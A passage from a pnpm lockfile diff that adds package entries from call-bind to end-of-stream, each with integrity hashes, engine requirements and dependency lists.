sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==} + engines: {node: '>= 0.8'} + dev: false + + /call-bind@1.0.5: + resolution: {integrity: sha512-C3nQxfFZxFRVoJoGKKI8y3MOEo129NQ+FgQ08iye+Mk4zNZZGdjfs06bVTr+DBSlA66Q2VEcMki/cUCP4SercQ==} + dependencies: + function-bind: 1.1.2 + get-intrinsic: 1.2.2 + set-function-length: 1.1.1 + dev: false + + /callsites@3.1.0: + resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} + engines: {node: '>=6'} + dev: false + + /camel-case@4.1.2: + resolution: {integrity: sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==} + dependencies: + pascal-case: 3.1.2 + tslib: 2.6.2 + dev: false + + /camelcase-css@2.0.1: + resolution: {integrity: sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==} + engines: {node: '>= 6'} + dev: false + + /camelcase@5.3.1: + resolution: {integrity: sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==} + engines: {node: '>=6'} + dev: false + + /camelcase@6.3.0: + resolution: {integrity: sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==} + engines: {node: '>=10'} + dev: false + + /caniuse-lite@1.0.30001566: + resolution: {integrity: sha512-ggIhCsTxmITBAMmK8yZjEhCO5/47jKXPu6Dha/wuCS4JePVL+3uiDEBuhu2aIoT+bqTOR8L76Ip1ARL9xYsEJA==} + dev: false + + /capital-case@1.0.4: + resolution: {integrity: sha512-ds37W8CytHgwnhGGTi88pcPyR15qoNkOpYwmMMfnWqqWgESapLqvDx6huFjQ5vqWSn2Z06173XNA7LtMOeUh1A==} + dependencies: + no-case: 3.0.4 + tslib: 2.6.2 + upper-case-first: 2.0.2 + dev: false + + /catering@2.1.1: + resolution: {integrity: sha512-K7Qy8O9p76sL3/3m7/zLKbRkyOlSZAgzEaLhyj2mXS8PsCud2Eo4hAb8aLtZqHh0QGqLcb9dlJSu6lHRVENm1w==} + engines: {node: '>=6'} + dev: false + + /ccount@2.0.1: + resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} + dev: false + + /chalk@2.4.2: + resolution: {integrity: sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==} + engines: {node: '>=4'} + dependencies: + ansi-styles: 3.2.1 + escape-string-regexp: 1.0.5 + supports-color: 5.5.0 + dev: false + + /chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 + dev: false + + /change-case-all@1.0.14: + resolution: {integrity: sha512-CWVm2uT7dmSHdO/z1CXT/n47mWonyypzBbuCy5tN7uMg22BsfkhwT6oHmFCAk+gL1LOOxhdbB9SZz3J1KTY3gA==} + dependencies: + change-case: 4.1.2 + is-lower-case: 2.0.2 + is-upper-case: 2.0.2 + lower-case: 2.0.2 + lower-case-first: 2.0.2 + sponge-case: 1.0.1 + swap-case: 2.0.2 + title-case: 3.0.3 + upper-case: 2.0.2 + upper-case-first: 2.0.2 + dev: false + + /change-case-all@1.0.15: + resolution: {integrity: sha512-3+GIFhk3sNuvFAJKU46o26OdzudQlPNBCu1ZQi3cMeMHhty1bhDxu2WrEilVNYaGvqUtR1VSigFcJOiS13dRhQ==} + dependencies: + change-case: 4.1.2 + is-lower-case: 2.0.2 + is-upper-case: 2.0.2 + lower-case: 2.0.2 + lower-case-first: 2.0.2 + sponge-case: 1.0.1 + swap-case: 2.0.2 + title-case: 3.0.3 + upper-case: 2.0.2 + upper-case-first: 2.0.2 + dev: false + + /change-case@4.1.2: + resolution: {integrity: sha512-bSxY2ws9OtviILG1EiY5K7NNxkqg/JnRnFxLtKQ96JaviiIxi7djMrSd0ECT9AC+lttClmYwKw53BWpOMblo7A==} + dependencies: + camel-case: 4.1.2 + capital-case: 1.0.4 + constant-case: 3.0.4 + dot-case: 3.0.4 + header-case: 2.0.4 + no-case: 3.0.4 + param-case: 3.0.4 + pascal-case: 3.1.2 + path-case: 3.0.4 + sentence-case: 3.0.4 + snake-case: 3.0.4 + tslib: 2.6.2 + dev: false + + /character-entities-html4@2.1.0: + resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} + dev: false + + /character-entities-legacy@1.1.4: + resolution: {integrity: sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA==} + dev: false + + /character-entities-legacy@3.0.0: + resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} + dev: false + + /character-entities@1.2.4: + resolution: {integrity: sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==} + dev: false + + /character-entities@2.0.2: + resolution: {integrity: sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==} + dev: false + + /character-reference-invalid@1.1.4: + resolution: {integrity: sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg==} + dev: false + + /character-reference-invalid@2.0.1: + resolution: {integrity: sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==} + dev: false + + /charwise@3.0.1: + resolution: {integrity: sha512-RcdumNsM6fJZ5HHbYunqj2bpurVRGsXour3OR+SlLEHFhG6ALm54i6Osnh+OvO7kEoSBzwExpblYFH8zKQiEPw==} + dev: false + + /chokidar@3.5.3: + resolution: {integrity: sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==} + engines: {node: '>= 8.10.0'} + dependencies: + anymatch: 3.1.3 + braces: 3.0.2 + glob-parent: 5.1.2 + is-binary-path: 2.1.0 + is-glob: 4.0.3 + normalize-path: 3.0.0 + readdirp: 3.6.0 + optionalDependencies: + fsevents: 2.3.3 + dev: false + + /chownr@1.1.4: + resolution: {integrity: sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==} + dev: false + + /clean-git-ref@2.0.1: + resolution: {integrity: sha512-bLSptAy2P0s6hU4PzuIMKmMJJSE6gLXGH1cntDu7bWJUksvuM+7ReOK61mozULErYvP6a15rnYl0zFDef+pyPw==} + dev: false + + /cli-spinner@0.2.10: + resolution: {integrity: sha512-U0sSQ+JJvSLi1pAYuJykwiA8Dsr15uHEy85iCJ6A+0DjVxivr3d+N2Wjvodeg89uP5K6TswFkKBfAD7B3YSn/Q==} + engines: {node: '>=0.10'} + dev: false + + /client-only@0.0.1: + resolution: {integrity: sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==} + dev: false + + /clipanion@3.2.1(typanion@3.13.0): + resolution: {integrity: sha512-dYFdjLb7y1ajfxQopN05mylEpK9ZX0sO1/RfMXdfmwjlIsPkbh4p7A682x++zFPLDCo1x3p82dtljHf5cW2LKA==} + peerDependencies: + typanion: '*' + dependencies: + typanion: 3.13.0 + dev: false + + /cliui@6.0.0: + resolution: {integrity: sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==} + dependencies: + string-width: 4.2.3 + strip-ansi: 6.0.1 + wrap-ansi: 6.2.0 + dev: false + + /cliui@8.0.1: + resolution: {integrity: sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==} + engines: {node: '>=12'} + dependencies: + string-width: 4.2.3 + strip-ansi: 6.0.1 + wrap-ansi: 7.0.0 + dev: false + + /cloudinary-core@2.13.0(lodash@4.17.21): + resolution: {integrity: sha512-Nt0Q5I2FtenmJghtC4YZ3MZZbGg1wLm84SsxcuVwZ83OyJqG9CNIGp86CiI6iDv3QobaqBUpOT7vg+HqY5HxEA==} + peerDependencies: + lodash: '>=4.0' + dependencies: + lodash: 4.17.21 + dev: false + + /cloudinary@1.41.2: + resolution: {integrity: sha512-9gH6ofz+N8AzfjqtmTgB9lVxwWcroHFfMOOM6iiX/g1H+KYz+sArClXWtd0prRE6m/IoBBBbbaJ12yRdJNnMxA==} + engines: {node: '>=0.6'} + dependencies: + cloudinary-core: 2.13.0(lodash@4.17.21) + core-js: 3.35.0 + lodash: 4.17.21 + q: 1.5.1 + dev: false + + /clsx@1.2.1: + resolution: {integrity: sha512-EcR6r5a8bj6pu3ycsa/E/cKVGuTgZJZdsyUYHOksG/UHIiKfjxzRxYJpyVBwYaQeOvghal9fcc4PidlgzugAQg==} + engines: {node: '>=6'} + dev: false + + /clsx@2.0.0: + resolution: {integrity: sha512-rQ1+kcj+ttHG0MKVGBUXwayCCF1oh39BF5COIpRzuCEv8Mwjv0XucrI2ExNTOn9IlLifGClWQcU9BrZORvtw6Q==} + engines: {node: '>=6'} + dev: false + + /codemirror-graphql@2.0.10(@codemirror/language@6.0.0)(codemirror@5.65.16)(graphql@15.8.0): + resolution: {integrity: sha512-rC9NxibCsSzWtCQjHLfwKCkyYdGv2BT/BCgyDoKPrc/e7aGiyLyeT0fB60d+0imwlvhX3lIHncl6JMz2YxQ/jg==} + peerDependencies: + '@codemirror/language': 6.0.0 + codemirror: ^5.65.3 + graphql: ^15.5.0 || ^16.0.0 + dependencies: + '@codemirror/language': 6.0.0 + '@types/codemirror': 0.0.90 + codemirror: 5.65.16 + graphql: 15.8.0 + graphql-language-service: 5.2.0(graphql@15.8.0) + dev: false + + /codemirror@5.65.16: + resolution: {integrity: sha512-br21LjYmSlVL0vFCPWPfhzUCT34FM/pAdK7rRIZwa0rrtrIdotvP4Oh4GUHsu2E3IrQMCfRkL/fN3ytMNxVQvg==} + dev: false + + /color-convert@1.9.3: + resolution: {integrity: sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==} + dependencies: + color-name: 1.1.3 + dev: false + + /color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + dependencies: + color-name: 1.1.4 + dev: false + + /color-name@1.1.3: + resolution: {integrity: sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==} + dev: false + + /color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + dev: false + + /color-string@1.9.1: + resolution: {integrity: sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg==} + dependencies: + color-name: 1.1.4 + simple-swizzle: 0.2.2 + dev: false + + /commander@4.1.1: + resolution: {integrity: sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==} + engines: {node: '>= 6'} + dev: false + + /common-tags@1.8.2: + resolution: {integrity: sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==} + engines: {node: '>=4.0.0'} + dev: false + + /compute-scroll-into-view@1.0.20: + resolution: {integrity: sha512-UCB0ioiyj8CRjtrvaceBLqqhZCVP+1B8+NWQhmdsm0VXOJtobBCf1dBQmebCCo34qZmUwZfIH2MZLqNHazrfjg==} + dev: false + + /concat-map@0.0.1: + resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} + dev: false + + /concat-stream@1.6.2: + resolution: {integrity: sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==} + engines: {'0': node >= 0.8} + dependencies: + buffer-from: 1.1.2 + inherits: 2.0.4 + readable-stream: 2.3.8 + typedarray: 0.0.6 + dev: false + + /constant-case@3.0.4: + resolution: {integrity: sha512-I2hSBi7Vvs7BEuJDr5dDHfzb/Ruj3FyvFyh7KLilAjNQw3Be+xgqUBA2W6scVEcL0hL1dwPRtIqEPVUCKkSsyQ==} + dependencies: + no-case: 3.0.4 + tslib: 2.6.2 + upper-case: 2.0.2 + dev: false + + /content-disposition@0.5.4: + resolution: {integrity: sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==} + engines: {node: '>= 0.6'} + dependencies: + safe-buffer: 5.2.1 + dev: false + + /content-type@1.0.5: + resolution: {integrity: sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==} + engines: {node: '>= 0.6'} + dev: false + + /convert-source-map@2.0.0: + resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} + dev: false + + /cookie-signature@1.0.6: + resolution: {integrity: sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==} + dev: false + + /cookie@0.5.0: + resolution: {integrity: sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==} + engines: {node: '>= 0.6'} + dev: false + + /copy-to-clipboard@3.3.3: + resolution: {integrity: sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA==} + dependencies: + toggle-selection: 1.0.6 + dev: false + + /core-js@3.35.0: + resolution: {integrity: sha512-ntakECeqg81KqMueeGJ79Q5ZgQNR+6eaE8sxGCx62zMbAIj65q+uYvatToew3m6eAGdU4gNZwpZ34NMe4GYswg==} + requiresBuild: true + dev: false + + /core-util-is@1.0.3: + resolution: {integrity: sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==} + dev: false + + /cors@2.8.5: + resolution: {integrity: sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==} + engines: {node: '>= 0.10'} + dependencies: + object-assign: 4.1.1 + vary: 1.1.2 + dev: false + + /cosmiconfig@7.1.0: + resolution: {integrity: sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==} + engines: {node: '>=10'} + dependencies: + '@types/parse-json': 4.0.2 + import-fresh: 3.3.0 + parse-json: 5.2.0 + path-type: 4.0.0 + yaml: 1.10.2 + dev: false + + /crc-32@1.2.2: + resolution: {integrity: sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==} + engines: {node: '>=0.8'} + hasBin: true + dev: false + + /create-react-class@15.7.0: + resolution: {integrity: sha512-QZv4sFWG9S5RUvkTYWbflxeZX+JG7Cz0Tn33rQBJ+WFQTqTfUTjMjiv9tnfXazjsO5r0KhPs+AqCjyrQX6h2ng==} + dependencies: + loose-envify: 1.4.0 + object-assign: 4.1.1 + dev: false + + /cross-fetch@3.1.8: + resolution: {integrity: sha512-cvA+JwZoU0Xq+h6WkMvAUqPEYy92Obet6UdKLfW60qn99ftItKjB5T+BkyWOFWe2pUyfQ+IJHmpOTznqk1M6Kg==} + dependencies: + node-fetch: 2.7.0(encoding@0.1.13) + transitivePeerDependencies: + - encoding + dev: false + + /cross-inspect@1.0.0: + resolution: {integrity: sha512-4PFfn4b5ZN6FMNGSZlyb7wUhuN8wvj8t/VQHZdM4JsDcruGJ8L2kf9zao98QIrBPFCpdk27qst/AGTl7pL3ypQ==} + engines: {node: '>=16.0.0'} + dependencies: + tslib: 2.6.2 + dev: false + + /crypto-js@4.2.0: + resolution: {integrity: sha512-KALDyEYgpY+Rlob/iriUtjV6d5Eq+Y191A5g4UqLAi8CyGP9N1+FdVbkc1SxKc2r4YAYqG8JzO2KGL+AizD70Q==} + dev: false + + /css-box-model@1.2.1: + resolution: {integrity: sha512-a7Vr4Q/kd/aw96bnJG332W9V9LkJO69JRcaCYDUqjp6/z0w6VcZjgAcTbgFxEPfBgdnAwlh3iwu+hLopa+flJw==} + dependencies: + tiny-invariant: 1.3.1 + dev: false + + /cssesc@3.0.0: + resolution: {integrity: sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==} + engines: {node: '>=4'} + hasBin: true + dev: false + + /csstype@3.1.2: + resolution: {integrity: sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==} + + /dataloader@2.2.2: + resolution: {integrity: sha512-8YnDaaf7N3k/q5HnTJVuzSyLETjoZjVmHc4AeKAzOvKHEFQKcn64OKBfzHYtE9zGjctNM7V9I0MfnUVLpi7M5g==} + dev: false + + /date-fns@2.30.0: + resolution: {integrity: sha512-fnULvOpxnC5/Vg3NCiWelDsLiUc9bRwAPs/+LfTLNvetFCtCTN+yQz15C/fs4AwX1R9K5GLtLfn8QW+dWisaAw==} + engines: {node: '>=0.11'} + dependencies: + '@babel/runtime': 7.23.5 + dev: false + + /date-format@4.0.14: + resolution: {integrity: sha512-39BOQLs9ZjKh0/patS9nrT8wc3ioX3/eA/zgbKNopnF2wCqJEoxywwwElATYvRsXdnOxA/OQeQoFZ3rFjVajhg==} + engines: {node: '>=4.0'} + dev: false + + /debug@2.6.9: + resolution: {integrity: sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + dependencies: + ms: 2.0.0 + dev: false + + /debug@4.3.4: + resolution: {integrity: sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + dependencies: + ms: 2.1.2 + dev: false + + /decamelize@1.2.0: + resolution: {integrity: sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==} + engines: {node: '>=0.10.0'} + dev: false + + /decode-named-character-reference@1.0.2: + resolution: {integrity: sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==} + dependencies: + character-entities: 2.0.2 + dev: false + + /decompress-response@6.0.0: + resolution: {integrity: sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==} + engines: {node: '>=10'} + dependencies: + mimic-response: 3.1.0 + dev: false + + /deep-extend@0.6.0: + resolution: {integrity: sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==} + engines: {node: '>=4.0.0'} + dev: false + + /define-data-property@1.1.1: + resolution: {integrity: sha512-E7uGkTzkk1d0ByLeSc6ZsFS79Axg+m1P/VsgYsxHgiuc3tFSj+MjMIwe90FC4lOAZzNBdY7kkO2P2wKdsQ1vgQ==} + engines: {node: '>= 0.4'} + dependencies: + get-intrinsic: 1.2.2 + gopd: 1.0.1 + has-property-descriptors: 1.0.1 + dev: false + + /define-lazy-prop@2.0.0: + resolution: {integrity: sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==} + engines: {node: '>=8'} + dev: false + + /depd@2.0.0: + resolution: {integrity: sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==} + engines: {node: '>= 0.8'} + dev: false + + /dependency-graph@0.11.0: + resolution: {integrity: sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==} + engines: {node: '>= 0.6.0'} + dev: false + + /dequal@1.0.0: + resolution: {integrity: sha512-/Nd1EQbQbI9UbSHrMiKZjFLrXSnU328iQdZKPQf78XQI6C+gutkFUeoHpG5J08Ioa6HeRbRNFpSIclh1xyG0mw==} + engines: {node: '>=6'} + dev: false + + /dequal@2.0.3: + resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} + engines: {node: '>=6'} + dev: false + + /destroy@1.2.0: + resolution: {integrity: sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==} + engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} + dev: false + + /detect-libc@2.0.2: + resolution: {integrity: sha512-UX6sGumvvqSaXgdKGUsgZWqcUyIXZ/vZTrlRT/iobiKhGL0zL4d3osHj3uqllWJK+i+sixDS/3COVEOFbupFyw==} + engines: {node: '>=8'} + dev: false + + /detect-node-es@1.1.0: + resolution: {integrity: sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==} + dev: false + + /didyoumean@1.2.2: + resolution: {integrity: sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==} + dev: false + + /diff3@0.0.3: + resolution: {integrity: sha512-iSq8ngPOt0K53A6eVr4d5Kn6GNrM2nQZtC740pzIriHtn4pOQ2lyzEXQMBeVcWERN0ye7fhBsk9PbLLQOnUx/g==} + dev: false + + /diff@5.1.0: + resolution: {integrity: sha512-D+mk+qE8VC/PAUrlAU34N+VfXev0ghe5ywmpqrawphmVZc1bEfn56uo9qpyGp1p4xpzOHkSW4ztBd6L7Xx4ACw==} + engines: {node: '>=0.3.1'} + dev: false + + /dir-glob@3.0.1: + resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==} + engines: {node: '>=8'} + dependencies: + path-type: 4.0.0 + dev: false + + /direction@1.0.4: + resolution: {integrity: sha512-GYqKi1aH7PJXxdhTeZBFrg8vUBeKXi+cNprXsC1kpJcbcVnV9wBsrOu1cQEdG0WeQwlfHiy3XvnKfIrJ2R0NzQ==} + hasBin: true + dev: false + + /dlv@1.1.3: + resolution: {integrity: sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==} + dev: false + + /dot-case@3.0.4: + resolution: {integrity: sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==} + dependencies: + no-case: 3.0.4 + tslib: 2.6.2 + dev: false + + /dotenv@16.3.1: + resolution: {integrity: sha512-IPzF4w4/Rd94bA9imS68tZBaYyBWSCE47V1RGuMrB94iyTOIEwRmVL2x/4An+6mETpLrKJ5hQkB8W4kFAadeIQ==} + engines: {node: '>=12'} + dev: false + + /downshift@6.1.12(react@17.0.2): + resolution: {integrity: sha512-7XB/iaSJVS4T8wGFT3WRXmSF1UlBHAA40DshZtkrIscIN+VC+Lh363skLxFTvJwtNgHxAMDGEHT4xsyQFWL+UA==} + peerDependencies: + react: '>=16.12.0' + dependencies: + '@babel/runtime': 7.23.5 + compute-scroll-into-view: 1.0.20 + prop-types: 15.8.1 + react: 17.0.2 + react-is: 17.0.2 + tslib: 2.6.2 + dev: false + + /downshift@6.1.12(react@18.2.0): + resolution: {integrity: sha512-7XB/iaSJVS4T8wGFT3WRXmSF1UlBHAA40DshZtkrIscIN+VC+Lh363skLxFTvJwtNgHxAMDGEHT4xsyQFWL+UA==} + peerDependencies: + react: '>=16.12.0' + dependencies: + '@babel/runtime': 7.23.5 + compute-scroll-into-view: 1.0.20 + prop-types: 15.8.1 + react: 18.2.0 + react-is: 17.0.2 + tslib: 2.6.2 + dev: false + + /dset@3.1.3: + resolution: {integrity: sha512-20TuZZHCEZ2O71q9/+8BwKwZ0QtD9D8ObhrihJPr+vLLYlSuAU3/zL4cSlgbfeoGHTjCSJBa7NGcrF9/Bx/WJQ==} + engines: {node: '>=4'} + dev: false + + /ee-first@1.1.1: + resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==} + dev: false + + /electron-to-chromium@1.4.605: + resolution: {integrity: sha512-V52j+P5z6cdRqTjPR/bYNxx7ETCHIkm5VIGuyCy3CMrfSnbEpIlLnk5oHmZo7gYvDfh2TfHeanB6rawyQ23ktg==} + dev: false + + /emoji-regex@8.0.0: + resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} + dev: false + + /encodeurl@1.0.2: + resolution: {integrity: sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==} + engines: {node: '>= 0.8'} + dev: false + + /encoding-down@7.1.0: + resolution: {integrity: sha512-ky47X5jP84ryk5EQmvedQzELwVJPjCgXDQZGeb9F6r4PdChByCGHTBrVcF3h8ynKVJ1wVbkxTsDC8zBROPypgQ==} + engines: {node: '>=10'} + dependencies: + abstract-leveldown: 7.2.0 + inherits: 2.0.4 + level-codec: 10.0.0 + level-errors: 3.0.1 + dev: false + + /encoding@0.1.13: + resolution: {integrity: sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==} + dependencies: + iconv-lite: 0.6.3 + dev: false + + /end-of-stream@1.4.4: + resolution: {integrity: 